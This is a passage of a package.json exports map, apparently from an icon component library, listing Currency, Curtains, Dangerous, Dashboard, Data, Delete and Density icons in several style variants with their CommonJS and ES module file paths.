},\n    \"./CurrencyYenSharp\": {\n      \"require\": \"./CurrencyYenSharp.js\",\n      \"import\": \"./CurrencyYenSharp.mjs\",\n      \"default\": \"./CurrencyYenSharp.mjs\"\n    },\n    \"./CurrencyYenTwoTone\": {\n      \"require\": \"./CurrencyYenTwoTone.js\",\n      \"import\": \"./CurrencyYenTwoTone.mjs\",\n      \"default\": \"./CurrencyYenTwoTone.mjs\"\n    },\n    \"./CurrencyYuan\": {\n      \"require\": \"./CurrencyYuan.js\",\n      \"import\": \"./CurrencyYuan.mjs\",\n      \"default\": \"./CurrencyYuan.mjs\"\n    },\n    \"./CurrencyYuanOutlined\": {\n      \"require\": \"./CurrencyYuanOutlined.js\",\n      \"import\": \"./CurrencyYuanOutlined.mjs\",\n      \"default\": \"./CurrencyYuanOutlined.mjs\"\n    },\n    \"./CurrencyYuanRounded\": {\n      \"require\": \"./CurrencyYuanRounded.js\",\n      \"import\": \"./CurrencyYuanRounded.mjs\",\n      \"default\": \"./CurrencyYuanRounded.mjs\"\n    },\n    \"./CurrencyYuanSharp\": {\n      \"require\": \"./CurrencyYuanSharp.js\",\n      \"import\": \"./CurrencyYuanSharp.mjs\",\n      \"default\": \"./CurrencyYuanSharp.mjs\"\n    },\n    \"./CurrencyYuanTwoTone\": {\n      \"require\": \"./CurrencyYuanTwoTone.js\",\n      \"import\": \"./CurrencyYuanTwoTone.mjs\",\n      \"default\": \"./CurrencyYuanTwoTone.mjs\"\n    },\n    \"./Curtains\": {\n      \"require\": \"./Curtains.js\",\n      \"import\": \"./Curtains.mjs\",\n      \"default\": \"./Curtains.mjs\"\n    },\n    \"./CurtainsClosed\": {\n      \"require\": \"./CurtainsClosed.js\",\n      \"import\": \"./CurtainsClosed.mjs\",\n      \"default\": \"./CurtainsClosed.mjs\"\n    },\n    \"./CurtainsClosedOutlined\": {\n      \"require\": \"./CurtainsClosedOutlined.js\",\n      \"import\": \"./CurtainsClosedOutlined.mjs\",\n      \"default\": \"./CurtainsClosedOutlined.mjs\"\n    },\n    \"./CurtainsClosedRounded\": {\n      \"require\": \"./CurtainsClosedRounded.js\",\n      \"import\": \"./CurtainsClosedRounded.mjs\",\n      \"default\": \"./CurtainsClosedRounded.mjs\"\n    },\n    \"./CurtainsClosedSharp\": {\n      \"require\": \"./CurtainsClosedSharp.js\",\n      \"import\": \"./CurtainsClosedSharp.mjs\",\n      \"default\": \"./CurtainsClosedSharp.mjs\"\n    },\n    \"./CurtainsClosedTwoTone\": {\n      \"require\": \"./CurtainsClosedTwoTone.js\",\n      \"import\": \"./CurtainsClosedTwoTone.mjs\",\n      \"default\": \"./CurtainsClosedTwoTone.mjs\"\n    },\n    \"./CurtainsOutlined\": {\n      \"require\": \"./CurtainsOutlined.js\",\n      \"import\": \"./CurtainsOutlined.mjs\",\n      \"default\": \"./CurtainsOutlined.mjs\"\n    },\n    \"./CurtainsRounded\": {\n      \"require\": \"./CurtainsRounded.js\",\n      \"import\": \"./CurtainsRounded.mjs\",\n      \"default\": \"./CurtainsRounded.mjs\"\n    },\n    \"./CurtainsSharp\": {\n      \"require\": \"./CurtainsSharp.js\",\n      \"import\": \"./CurtainsSharp.mjs\",\n      \"default\": \"./CurtainsSharp.mjs\"\n    },\n    \"./CurtainsTwoTone\": {\n      \"require\": \"./CurtainsTwoTone.js\",\n      \"import\": \"./CurtainsTwoTone.mjs\",\n      \"default\": \"./CurtainsTwoTone.mjs\"\n    },\n    \"./Cyclone\": {\n      \"require\": \"./Cyclone.js\",\n      \"import\": \"./Cyclone.mjs\",\n      \"default\": \"./Cyclone.mjs\"\n    },\n    \"./CycloneOutlined\": {\n      \"require\": \"./CycloneOutlined.js\",\n      \"import\": \"./CycloneOutlined.mjs\",\n      \"default\": \"./CycloneOutlined.mjs\"\n    },\n    \"./CycloneRounded\": {\n      \"require\": \"./CycloneRounded.js\",\n      \"import\": \"./CycloneRounded.mjs\",\n      \"default\": \"./CycloneRounded.mjs\"\n    },\n    \"./CycloneSharp\": {\n      \"require\": \"./CycloneSharp.js\",\n      \"import\": \"./CycloneSharp.mjs\",\n      \"default\": \"./CycloneSharp.mjs\"\n    },\n    \"./CycloneTwoTone\": {\n      \"import\": \"./CycloneTwoTone.mjs\",\n      \"require\": \"./CycloneTwoTone.js\",\n      \"default\": \"./CycloneTwoTone.mjs\"\n    },\n    \"./Dangerous\": {\n      \"import\": \"./Dangerous.mjs\",\n      \"require\": \"./Dangerous.js\",\n      \"default\": \"./Dangerous.mjs\"\n    },\n    \"./DangerousOutlined\": {\n      \"import\": \"./DangerousOutlined.mjs\",\n      \"require\": \"./DangerousOutlined.js\",\n      \"default\": \"./DangerousOutlined.mjs\"\n    },\n    \"./DangerousRounded\": {\n      \"import\": \"./DangerousRounded.mjs\",\n      \"require\": \"./DangerousRounded.js\",\n      \"default\": \"./DangerousRounded.mjs\"\n    },\n    \"./DangerousSharp\": {\n      \"import\": \"./DangerousSharp.mjs\",\n      \"require\": \"./DangerousSharp.js\",\n      \"default\": \"./DangerousSharp.mjs\"\n    },\n    \"./DangerousTwoTone\": {\n      \"import\": \"./DangerousTwoTone.mjs\",\n      \"require\": \"./DangerousTwoTone.js\",\n      \"default\": \"./DangerousTwoTone.mjs\"\n    },\n    \"./DarkMode\": {\n      \"import\": \"./DarkMode.mjs\",\n      \"require\": \"./DarkMode.js\",\n      \"default\": \"./DarkMode.mjs\"\n    },\n    \"./DarkModeOutlined\": {\n      \"import\": \"./DarkModeOutlined.mjs\",\n      \"require\": \"./DarkModeOutlined.js\",\n      \"default\": \"./DarkModeOutlined.mjs\"\n    },\n    \"./DarkModeRounded\": {\n      \"import\": \"./DarkModeRounded.mjs\",\n      \"require\": \"./DarkModeRounded.js\",\n      \"default\": \"./DarkModeRounded.mjs\"\n    },\n    \"./DarkModeSharp\": {\n      \"import\": \"./DarkModeSharp.mjs\",\n      \"require\": \"./DarkModeSharp.js\",\n      \"default\": \"./DarkModeSharp.mjs\"\n    },\n    \"./DarkModeTwoTone\": {\n      \"import\": \"./DarkModeTwoTone.mjs\",\n      \"require\": \"./DarkModeTwoTone.js\",\n      \"default\": \"./DarkModeTwoTone.mjs\"\n    },\n    \"./Dashboard\": {\n      \"import\": \"./Dashboard.mjs\",\n      \"require\": \"./Dashboard.js\",\n      \"default\": \"./Dashboard.mjs\"\n    },\n    \"./DashboardCustomize\": {\n      \"import\": \"./DashboardCustomize.mjs\",\n      \"require\": \"./DashboardCustomize.js\",\n      \"default\": \"./DashboardCustomize.mjs\"\n    },\n    \"./DashboardCustomizeOutlined\": {\n      \"import\": \"./DashboardCustomizeOutlined.mjs\",\n      \"require\": \"./DashboardCustomizeOutlined.js\",\n      \"default\": \"./DashboardCustomizeOutlined.mjs\"\n    },\n    \"./DashboardCustomizeRounded\": {\n      \"import\": \"./DashboardCustomizeRounded.mjs\",\n      \"require\": \"./DashboardCustomizeRounded.js\",\n      \"default\": \"./DashboardCustomizeRounded.mjs\"\n    },\n    \"./DashboardCustomizeSharp\": {\n      \"import\": \"./DashboardCustomizeSharp.mjs\",\n      \"require\": \"./DashboardCustomizeSharp.js\",\n      \"default\": \"./DashboardCustomizeSharp.mjs\"\n    },\n    \"./DashboardCustomizeTwoTone\": {\n      \"import\": \"./DashboardCustomizeTwoTone.mjs\",\n      \"require\": \"./DashboardCustomizeTwoTone.js\",\n      \"default\": \"./DashboardCustomizeTwoTone.mjs\"\n    },\n    \"./DashboardOutlined\": {\n      \"import\": \"./DashboardOutlined.mjs\",\n      \"require\": \"./DashboardOutlined.js\",\n      \"default\": \"./DashboardOutlined.mjs\"\n    },\n    \"./DashboardRounded\": {\n      \"import\": \"./DashboardRounded.mjs\",\n      \"require\": \"./DashboardRounded.js\",\n      \"default\": \"./DashboardRounded.mjs\"\n    },\n    \"./DashboardSharp\": {\n      \"import\": \"./DashboardSharp.mjs\",\n      \"require\": \"./DashboardSharp.js\",\n      \"default\": \"./DashboardSharp.mjs\"\n    },\n    \"./DashboardTwoTone\": {\n      \"import\": \"./DashboardTwoTone.mjs\",\n      \"require\": \"./DashboardTwoTone.js\",\n      \"default\": \"./DashboardTwoTone.mjs\"\n    },\n    \"./DataArray\": {\n      \"import\": \"./DataArray.mjs\",\n      \"require\": \"./DataArray.js\",\n      \"default\": \"./DataArray.mjs\"\n    },\n    \"./DataArrayOutlined\": {\n      \"import\": \"./DataArrayOutlined.mjs\",\n      \"require\": \"./DataArrayOutlined.js\",\n      \"default\": \"./DataArrayOutlined.mjs\"\n    },\n    \"./DataArrayRounded\": {\n      \"import\": \"./DataArrayRounded.mjs\",\n      \"require\": \"./DataArrayRounded.js\",\n      \"default\": \"./DataArrayRounded.mjs\"\n    },\n    \"./DataArraySharp\": {\n      \"import\": \"./DataArraySharp.mjs\",\n      \"require\": \"./DataArraySharp.js\",\n      \"default\": \"./DataArraySharp.mjs\"\n    },\n    \"./DataArrayTwoTone\": {\n      \"import\": \"./DataArrayTwoTone.mjs\",\n      \"require\": \"./DataArrayTwoTone.js\",\n      \"default\": \"./DataArrayTwoTone.mjs\"\n    },\n    \"./DataExploration\": {\n      \"import\": \"./DataExploration.mjs\",\n      \"require\": \"./DataExploration.js\",\n      \"default\": \"./DataExploration.mjs\"\n    },\n    \"./DataExplorationOutlined\": {\n      \"import\": \"./DataExplorationOutlined.mjs\",\n      \"require\": \"./DataExplorationOutlined.js\",\n      \"default\": \"./DataExplorationOutlined.mjs\"\n    },\n    \"./DataExplorationRounded\": {\n      \"import\": \"./DataExplorationRounded.mjs\",\n      \"require\": \"./DataExplorationRounded.js\",\n      \"default\": \"./DataExplorationRounded.mjs\"\n    },\n    \"./DataExplorationSharp\": {\n      \"import\": \"./DataExplorationSharp.mjs\",\n      \"require\": \"./DataExplorationSharp.js\",\n      \"default\": \"./DataExplorationSharp.mjs\"\n    },\n    \"./DataExplorationTwoTone\": {\n      \"import\": \"./DataExplorationTwoTone.mjs\",\n      \"require\": \"./DataExplorationTwoTone.js\",\n      \"default\": \"./DataExplorationTwoTone.mjs\"\n    },\n    \"./DataObject\": {\n      \"import\": \"./DataObject.mjs\",\n      \"require\": \"./DataObject.js\",\n      \"default\": \"./DataObject.mjs\"\n    },\n    \"./DataObjectOutlined\": {\n      \"import\": \"./DataObjectOutlined.mjs\",\n      \"require\": \"./DataObjectOutlined.js\",\n      \"default\": \"./DataObjectOutlined.mjs\"\n    },\n    \"./DataObjectRounded\": {\n      \"import\": \"./DataObjectRounded.mjs\",\n      \"require\": \"./DataObjectRounded.js\",\n      \"default\": \"./DataObjectRounded.mjs\"\n    },\n    \"./DataObjectSharp\": {\n      \"import\": \"./DataObjectSharp.mjs\",\n      \"require\": \"./DataObjectSharp.js\",\n      \"default\": \"./DataObjectSharp.mjs\"\n    },\n    \"./DataObjectTwoTone\": {\n      \"import\": \"./DataObjectTwoTone.mjs\",\n      \"require\": \"./DataObjectTwoTone.js\",\n      \"default\": \"./DataObjectTwoTone.mjs\"\n    },\n    \"./DataSaverOff\": {\n      \"import\": \"./DataSaverOff.mjs\",\n      \"require\": \"./DataSaverOff.js\",\n      \"default\": \"./DataSaverOff.mjs\"\n    },\n    \"./DataSaverOffOutlined\": {\n      \"import\": \"./DataSaverOffOutlined.mjs\",\n      \"require\": \"./DataSaverOffOutlined.js\",\n      \"default\": \"./DataSaverOffOutlined.mjs\"\n    },\n    \"./DataSaverOffRounded\": {\n      \"import\": \"./DataSaverOffRounded.mjs\",\n      \"require\": \"./DataSaverOffRounded.js\",\n      \"default\": \"./DataSaverOffRounded.mjs\"\n    },\n    \"./DataSaverOffSharp\": {\n      \"import\": \"./DataSaverOffSharp.mjs\",\n      \"require\": \"./DataSaverOffSharp.js\",\n      \"default\": \"./DataSaverOffSharp.mjs\"\n    },\n    \"./DataSaverOffTwoTone\": {\n      \"import\": \"./DataSaverOffTwoTone.mjs\",\n      \"require\": \"./DataSaverOffTwoTone.js\",\n      \"default\": \"./DataSaverOffTwoTone.mjs\"\n    },\n    \"./DataSaverOn\": {\n      \"import\": \"./DataSaverOn.mjs\",\n      \"require\": \"./DataSaverOn.js\",\n      \"default\": \"./DataSaverOn.mjs\"\n    },\n    \"./DataSaverOnOutlined\": {\n      \"import\": \"./DataSaverOnOutlined.mjs\",\n      \"require\": \"./DataSaverOnOutlined.js\",\n      \"default\": \"./DataSaverOnOutlined.mjs\"\n    },\n    \"./DataSaverOnRounded\": {\n      \"import\": \"./DataSaverOnRounded.mjs\",\n      \"require\": \"./DataSaverOnRounded.js\",\n      \"default\": \"./DataSaverOnRounded.mjs\"\n    },\n    \"./DataSaverOnSharp\": {\n      \"import\": \"./DataSaverOnSharp.mjs\",\n      \"require\": \"./DataSaverOnSharp.js\",\n      \"default\": \"./DataSaverOnSharp.mjs\"\n    },\n    \"./DataSaverOnTwoTone\": {\n      \"import\": \"./DataSaverOnTwoTone.mjs\",\n      \"require\": \"./DataSaverOnTwoTone.js\",\n      \"default\": \"./DataSaverOnTwoTone.mjs\"\n    },\n    \"./DataThresholding\": {\n      \"import\": \"./DataThresholding.mjs\",\n      \"require\": \"./DataThresholding.js\",\n      \"default\": \"./DataThresholding.mjs\"\n    },\n    \"./DataThresholdingOutlined\": {\n      \"import\": \"./DataThresholdingOutlined.mjs\",\n      \"require\": \"./DataThresholdingOutlined.js\",\n      \"default\": \"./DataThresholdingOutlined.mjs\"\n    },\n    \"./DataThresholdingRounded\": {\n      \"import\": \"./DataThresholdingRounded.mjs\",\n      \"require\": \"./DataThresholdingRounded.js\",\n      \"default\": \"./DataThresholdingRounded.mjs\"\n    },\n    \"./DataThresholdingSharp\": {\n      \"import\": \"./DataThresholdingSharp.mjs\",\n      \"require\": \"./DataThresholdingSharp.js\",\n      \"default\": \"./DataThresholdingSharp.mjs\"\n    },\n    \"./DataThresholdingTwoTone\": {\n      \"import\": \"./DataThresholdingTwoTone.mjs\",\n      \"require\": \"./DataThresholdingTwoTone.js\",\n      \"default\": \"./DataThresholdingTwoTone.mjs\"\n    },\n    \"./DataUsage\": {\n      \"require\": \"./DataUsage.js\",\n      \"import\": \"./DataUsage.mjs\",\n      \"default\": \"./DataUsage.mjs\"\n    },\n    \"./DataUsageOutlined\": {\n      \"require\": \"./DataUsageOutlined.js\",\n      \"import\": \"./DataUsageOutlined.mjs\",\n      \"default\": \"./DataUsageOutlined.mjs\"\n    },\n    \"./DataUsageRounded\": {\n      \"require\": \"./DataUsageRounded.js\",\n      \"import\": \"./DataUsageRounded.mjs\",\n      \"default\": \"./DataUsageRounded.mjs\"\n    },\n    \"./DataUsageSharp\": {\n      \"require\": \"./DataUsageSharp.js\",\n      \"import\": \"./DataUsageSharp.mjs\",\n      \"default\": \"./DataUsageSharp.mjs\"\n    },\n    \"./DataUsageTwoTone\": {\n      \"require\": \"./DataUsageTwoTone.js\",\n      \"import\": \"./DataUsageTwoTone.mjs\",\n      \"default\": \"./DataUsageTwoTone.mjs\"\n    },\n    \"./Dataset\": {\n      \"require\": \"./Dataset.js\",\n      \"import\": \"./Dataset.mjs\",\n      \"default\": \"./Dataset.mjs\"\n    },\n    \"./DatasetLinked\": {\n      \"require\": \"./DatasetLinked.js\",\n      \"import\": \"./DatasetLinked.mjs\",\n      \"default\": \"./DatasetLinked.mjs\"\n    },\n    \"./DatasetLinkedOutlined\": {\n      \"require\": \"./DatasetLinkedOutlined.js\",\n      \"import\": \"./DatasetLinkedOutlined.mjs\",\n      \"default\": \"./DatasetLinkedOutlined.mjs\"\n    },\n    \"./DatasetLinkedRounded\": {\n      \"require\": \"./DatasetLinkedRounded.js\",\n      \"import\": \"./DatasetLinkedRounded.mjs\",\n      \"default\": \"./DatasetLinkedRounded.mjs\"\n    },\n    \"./DatasetLinkedSharp\": {\n      \"require\": \"./DatasetLinkedSharp.js\",\n      \"import\": \"./DatasetLinkedSharp.mjs\",\n      \"default\": \"./DatasetLinkedSharp.mjs\"\n    },\n    \"./DatasetLinkedTwoTone\": {\n      \"require\": \"./DatasetLinkedTwoTone.js\",\n      \"import\": \"./DatasetLinkedTwoTone.mjs\",\n      \"default\": \"./DatasetLinkedTwoTone.mjs\"\n    },\n    \"./DatasetOutlined\": {\n      \"require\": \"./DatasetOutlined.js\",\n      \"import\": \"./DatasetOutlined.mjs\",\n      \"default\": \"./DatasetOutlined.mjs\"\n    },\n    \"./DatasetRounded\": {\n      \"require\": \"./DatasetRounded.js\",\n      \"import\": \"./DatasetRounded.mjs\",\n      \"default\": \"./DatasetRounded.mjs\"\n    },\n    \"./DatasetSharp\": {\n      \"require\": \"./DatasetSharp.js\",\n      \"import\": \"./DatasetSharp.mjs\",\n      \"default\": \"./DatasetSharp.mjs\"\n    },\n    \"./DatasetTwoTone\": {\n      \"require\": \"./DatasetTwoTone.js\",\n      \"import\": \"./DatasetTwoTone.mjs\",\n      \"default\": \"./DatasetTwoTone.mjs\"\n    },\n    \"./DateRange\": {\n      \"require\": \"./DateRange.js\",\n      \"import\": \"./DateRange.mjs\",\n      \"default\": \"./DateRange.mjs\"\n    },\n    \"./DateRangeOutlined\": {\n      \"require\": \"./DateRangeOutlined.js\",\n      \"import\": \"./DateRangeOutlined.mjs\",\n      \"default\": \"./DateRangeOutlined.mjs\"\n    },\n    \"./DateRangeRounded\": {\n      \"require\": \"./DateRangeRounded.js\",\n      \"import\": \"./DateRangeRounded.mjs\",\n      \"default\": \"./DateRangeRounded.mjs\"\n    },\n    \"./DateRangeSharp\": {\n      \"require\": \"./DateRangeSharp.js\",\n      \"import\": \"./DateRangeSharp.mjs\",\n      \"default\": \"./DateRangeSharp.mjs\"\n    },\n    \"./DateRangeTwoTone\": {\n      \"require\": \"./DateRangeTwoTone.js\",\n      \"import\": \"./DateRangeTwoTone.mjs\",\n      \"default\": \"./DateRangeTwoTone.mjs\"\n    },\n    \"./Deblur\": {\n      \"require\": \"./Deblur.js\",\n      \"import\": \"./Deblur.mjs\",\n      \"default\": \"./Deblur.mjs\"\n    },\n    \"./DeblurOutlined\": {\n      \"require\": \"./DeblurOutlined.js\",\n      \"import\": \"./DeblurOutlined.mjs\",\n      \"default\": \"./DeblurOutlined.mjs\"\n    },\n    \"./DeblurRounded\": {\n      \"require\": \"./DeblurRounded.js\",\n      \"import\": \"./DeblurRounded.mjs\",\n      \"default\": \"./DeblurRounded.mjs\"\n    },\n    \"./DeblurSharp\": {\n      \"require\": \"./DeblurSharp.js\",\n      \"import\": \"./DeblurSharp.mjs\",\n      \"default\": \"./DeblurSharp.mjs\"\n    },\n    \"./DeblurTwoTone\": {\n      \"require\": \"./DeblurTwoTone.js\",\n      \"import\": \"./DeblurTwoTone.mjs\",\n      \"default\": \"./DeblurTwoTone.mjs\"\n    },\n    \"./Deck\": {\n      \"require\": \"./Deck.js\",\n      \"import\": \"./Deck.mjs\",\n      \"default\": \"./Deck.mjs\"\n    },\n    \"./DeckOutlined\": {\n      \"require\": \"./DeckOutlined.js\",\n      \"import\": \"./DeckOutlined.mjs\",\n      \"default\": \"./DeckOutlined.mjs\"\n    },\n    \"./DeckRounded\": {\n      \"import\": \"./DeckRounded.mjs\",\n      \"require\": \"./DeckRounded.js\",\n      \"default\": \"./DeckRounded.mjs\"\n    },\n    \"./DeckSharp\": {\n      \"import\": \"./DeckSharp.mjs\",\n      \"require\": \"./DeckSharp.js\",\n      \"default\": \"./DeckSharp.mjs\"\n    },\n    \"./DeckTwoTone\": {\n      \"import\": \"./DeckTwoTone.mjs\",\n      \"require\": \"./DeckTwoTone.js\",\n      \"default\": \"./DeckTwoTone.mjs\"\n    },\n    \"./Dehaze\": {\n      \"import\": \"./Dehaze.mjs\",\n      \"require\": \"./Dehaze.js\",\n      \"default\": \"./Dehaze.mjs\"\n    },\n    \"./DehazeOutlined\": {\n      \"require\": \"./DehazeOutlined.js\",\n      \"import\": \"./DehazeOutlined.mjs\",\n      \"default\": \"./DehazeOutlined.mjs\"\n    },\n    \"./DehazeRounded\": {\n      \"require\": \"./DehazeRounded.js\",\n      \"import\": \"./DehazeRounded.mjs\",\n      \"default\": \"./DehazeRounded.mjs\"\n    },\n    \"./DehazeSharp\": {\n      \"require\": \"./DehazeSharp.js\",\n      \"import\": \"./DehazeSharp.mjs\",\n      \"default\": \"./DehazeSharp.mjs\"\n    },\n    \"./DehazeTwoTone\": {\n      \"require\": \"./DehazeTwoTone.js\",\n      \"import\": \"./DehazeTwoTone.mjs\",\n      \"default\": \"./DehazeTwoTone.mjs\"\n    },\n    \"./Delete\": {\n      \"require\": \"./Delete.js\",\n      \"import\": \"./Delete.mjs\",\n      \"default\": \"./Delete.mjs\"\n    },\n    \"./DeleteForever\": {\n      \"require\": \"./DeleteForever.js\",\n      \"import\": \"./DeleteForever.mjs\",\n      \"default\": \"./DeleteForever.mjs\"\n    },\n    \"./DeleteForeverOutlined\": {\n      \"require\": \"./DeleteForeverOutlined.js\",\n      \"import\": \"./DeleteForeverOutlined.mjs\",\n      \"default\": \"./DeleteForeverOutlined.mjs\"\n    },\n    \"./DeleteForeverRounded\": {\n      \"require\": \"./DeleteForeverRounded.js\",\n      \"import\": \"./DeleteForeverRounded.mjs\",\n      \"default\": \"./DeleteForeverRounded.mjs\"\n    },\n    \"./DeleteForeverSharp\": {\n      \"require\": \"./DeleteForeverSharp.js\",\n      \"import\": \"./DeleteForeverSharp.mjs\",\n      \"default\": \"./DeleteForeverSharp.mjs\"\n    },\n    \"./DeleteForeverTwoTone\": {\n      \"require\": \"./DeleteForeverTwoTone.js\",\n      \"import\": \"./DeleteForeverTwoTone.mjs\",\n      \"default\": \"./DeleteForeverTwoTone.mjs\"\n    },\n    \"./DeleteOutline\": {\n      \"require\": \"./DeleteOutline.js\",\n      \"import\": \"./DeleteOutline.mjs\",\n      \"default\": \"./DeleteOutline.mjs\"\n    },\n    \"./DeleteOutlineOutlined\": {\n      \"require\": \"./DeleteOutlineOutlined.js\",\n      \"import\": \"./DeleteOutlineOutlined.mjs\",\n      \"default\": \"./DeleteOutlineOutlined.mjs\"\n    },\n    \"./DeleteOutlineRounded\": {\n      \"require\": \"./DeleteOutlineRounded.js\",\n      \"import\": \"./DeleteOutlineRounded.mjs\",\n      \"default\": \"./DeleteOutlineRounded.mjs\"\n    },\n    \"./DeleteOutlineSharp\": {\n      \"require\": \"./DeleteOutlineSharp.js\",\n      \"import\": \"./DeleteOutlineSharp.mjs\",\n      \"default\": \"./DeleteOutlineSharp.mjs\"\n    },\n    \"./DeleteOutlineTwoTone\": {\n      \"require\": \"./DeleteOutlineTwoTone.js\",\n      \"import\": \"./DeleteOutlineTwoTone.mjs\",\n      \"default\": \"./DeleteOutlineTwoTone.mjs\"\n    },\n    \"./DeleteOutlined\": {\n      \"require\": \"./DeleteOutlined.js\",\n      \"import\": \"./DeleteOutlined.mjs\",\n      \"default\": \"./DeleteOutlined.mjs\"\n    },\n    \"./DeleteRounded\": {\n      \"require\": \"./DeleteRounded.js\",\n      \"import\": \"./DeleteRounded.mjs\",\n      \"default\": \"./DeleteRounded.mjs\"\n    },\n    \"./DeleteSharp\": {\n      \"require\": \"./DeleteSharp.js\",\n      \"import\": \"./DeleteSharp.mjs\",\n      \"default\": \"./DeleteSharp.mjs\"\n    },\n    \"./DeleteSweep\": {\n      \"require\": \"./DeleteSweep.js\",\n      \"import\": \"./DeleteSweep.mjs\",\n      \"default\": \"./DeleteSweep.mjs\"\n    },\n    \"./DeleteSweepOutlined\": {\n      \"require\": \"./DeleteSweepOutlined.js\",\n      \"import\": \"./DeleteSweepOutlined.mjs\",\n      \"default\": \"./DeleteSweepOutlined.mjs\"\n    },\n    \"./DeleteSweepRounded\": {\n      \"require\": \"./DeleteSweepRounded.js\",\n      \"import\": \"./DeleteSweepRounded.mjs\",\n      \"default\": \"./DeleteSweepRounded.mjs\"\n    },\n    \"./DeleteSweepSharp\": {\n      \"require\": \"./DeleteSweepSharp.js\",\n      \"import\": \"./DeleteSweepSharp.mjs\",\n      \"default\": \"./DeleteSweepSharp.mjs\"\n    },\n    \"./DeleteSweepTwoTone\": {\n      \"require\": \"./DeleteSweepTwoTone.js\",\n      \"import\": \"./DeleteSweepTwoTone.mjs\",\n      \"default\": \"./DeleteSweepTwoTone.mjs\"\n    },\n    \"./DeleteTwoTone\": {\n      \"require\": \"./DeleteTwoTone.js\",\n      \"import\": \"./DeleteTwoTone.mjs\",\n      \"default\": \"./DeleteTwoTone.mjs\"\n    },\n    \"./DeliveryDining\": {\n      \"require\": \"./DeliveryDining.js\",\n      \"import\": \"./DeliveryDining.mjs\",\n      \"default\": \"./DeliveryDining.mjs\"\n    },\n    \"./DeliveryDiningOutlined\": {\n      \"require\": \"./DeliveryDiningOutlined.js\",\n      \"import\": \"./DeliveryDiningOutlined.mjs\",\n      \"default\": \"./DeliveryDiningOutlined.mjs\"\n    },\n    \"./DeliveryDiningRounded\": {\n      \"require\": \"./DeliveryDiningRounded.js\",\n      \"import\": \"./DeliveryDiningRounded.mjs\",\n      \"default\": \"./DeliveryDiningRounded.mjs\"\n    },\n    \"./DeliveryDiningSharp\": {\n      \"require\": \"./DeliveryDiningSharp.js\",\n      \"import\": \"./DeliveryDiningSharp.mjs\",\n      \"default\": \"./DeliveryDiningSharp.mjs\"\n    },\n    \"./DeliveryDiningTwoTone\": {\n      \"require\": \"./DeliveryDiningTwoTone.js\",\n      \"import\": \"./DeliveryDiningTwoTone.mjs\",\n      \"default\": \"./DeliveryDiningTwoTone.mjs\"\n    },\n    \"./DensityLarge\": {\n      \"require\": \"./DensityLarge.js\",\n      \"import\": \"./DensityLarge.mjs\",\n      \"default\": \"./DensityLarge.mjs\"\n    },\n    \"./DensityLargeOutlined\": {\n      \"require\": \"./DensityLargeOutlined.js\",\n      \"import\": \"./DensityLargeOutlined.mjs\",\n      \"default\": \"./DensityLargeOutlined.mjs\"\n    },\n    \"./DensityLargeRounded\": {\n      \"require\": \"./DensityLargeRounded.js\",\n      \"import\": \"./DensityLargeRounded.mjs\",\n      \"default\": \"./DensityLargeRounded.mjs\"\n    },\n    \"./DensityLargeSharp\": {\n      \"require\": \"./DensityLargeSharp.js\",\n      \"import\": \"./DensityLargeSharp.mjs\",\n      \"default\": \"./DensityLargeSharp.mjs\"\n    },\n    \"./DensityLargeTwoTone\": {\n      \"require\": \"./DensityLargeTwoTone.js\",\n      \"import\": \"./DensityLargeTwoTone.mjs\",\n      \"default\": \"./DensityLargeTwoTone.mjs\"\n    },\n    \"./DensityMedium\": {\n      \"require\": \"./DensityMedium.js\",\n      \"import\": \"./DensityMedium.mjs\",\n      \"default\": \"./DensityMedium.mjs\"\n    },\n    \"./DensityMediumOutlined\": {\n      \"require\": \"./DensityMediumOutlined.js\",\n      \"import\": \"./DensityMediumOutlined.mjs\",\n      \"default\": \"./DensityMediumOutlined.mjs\"\n    },\n    \"./DensityMediumRounded\": {\n      \"require\": \"./DensityMediumRounded.js\",\n      \"import\": \"./DensityMediumRounded.mjs\",\n      \"default\": \"./DensityMediumRounded.mjs\"\n    },\n    \"./DensityMediumSharp\": {\n      \"require\": \"./DensityMediumSharp.js\",\n      \"import\": \"./DensityMediumSharp.mjs\",\n      \"default\": \"./DensityMediumSharp.mjs\"\n    },\n    \"./DensityMediumTwoTone\": {\n      \"require\": \"./DensityMediumTwoTone.js\",\n      \"import\": \"./DensityMediumTwoTone.mjs\",\n      \"default\": \"./DensityMediumTwoTone.mjs\"\n    },\n    \"./DensitySmall\": {\n      \"require\": \"./DensitySmall.js\",\n      \"import\": \"./DensitySmall.mjs\",\n      \"default\": \"./DensitySmall.mjs\"\n    },\n    \"./DensitySmallOutlined\": {\n      \"require\": \"./DensitySmallOutlined.js\",\n      \"import\": \"./DensitySmallOutlined.mjs\",\n      \"default\": \"./DensitySmallOutlined.mjs\"\n    },\n    \"./DensitySmallRounded\": {\n      \"require\": \"./DensitySmallRounded.js\",\n      \"import\": \"./DensitySmallRounded.mjs\",\n      \"default\": \"./DensitySmallRounded.mjs\"\n    },\n    \"./DensitySmallSharp\": {\n      \"require\": \"./DensitySmallSharp.js\",\n      \"import\": \"./DensitySmallSharp.mjs\",\n      \"default\": \"./DensitySmallSharp.mjs\"\n    },\n    \"./DensitySmallTwoTone\": {\n      \"require\": \"./DensitySmallTwoTone.js\",\n      \"import\": \"./DensitySmallTwoTone.mjs\",\n      \"default\": \"./DensitySmallTwoTone.mjs\"\n    },\n    \"./DepartureBoard\": {\n      \"require\": \"./DepartureBoard.js\",\n      \"import\": \"./DepartureBoard.mjs\",\n      \"default\": \"./DepartureBoard.mjs\"\n    },\n    \"./DepartureBoardOutlined\": {\n      \"require\": \"./DepartureBoardOutlined.js\",\n      \"import\": \"./DepartureBoardOutlined.mjs\",\n      \"default\": \"./DepartureBoardOutlined.mjs\"\n    },\n    \"./DepartureBoardRounded\": {\n      \"require\": \"./DepartureBoardRounded.js\",\n      \"import\": \"./DepartureBoardRounded.mjs\",\n      \"default\": \"./DepartureBoardRounded.mjs\"\n    },\n    \"./DepartureBoardSharp\": {\n      \"require\": \"./DepartureBoardSharp.js\",\n      \"import\": \"./DepartureBoardSharp.mjs\",\n      \"default\": \"./DepartureBoardSharp.mjs\"\n    },\n    \"./DepartureBoardTwoTone\": {\n      \"require\": \"./DepartureBoardTwoTone.js\",\n      \"import\": \"./DepartureBoardTwoTone.mjs\",\n      \"default\": \"./DepartureBoardTwoTone.mjs\"\n    },\n    \"./Description\": {\n      \"require\": \"./Description.js\",\n      \"import\": \"./Description.mjs\",\n      \"default\": \"./Description.mjs\"\n    },\n    \"./DescriptionOutlined\": {\n      \"require\": \"./DescriptionOutlined.js\",\n      \"import\": \"./DescriptionOutlined.mjs\",\n      \"default\": \"./DescriptionOutlined.mjs\"\n    },\n    \"./DescriptionRounded\": {\n      \"require\": 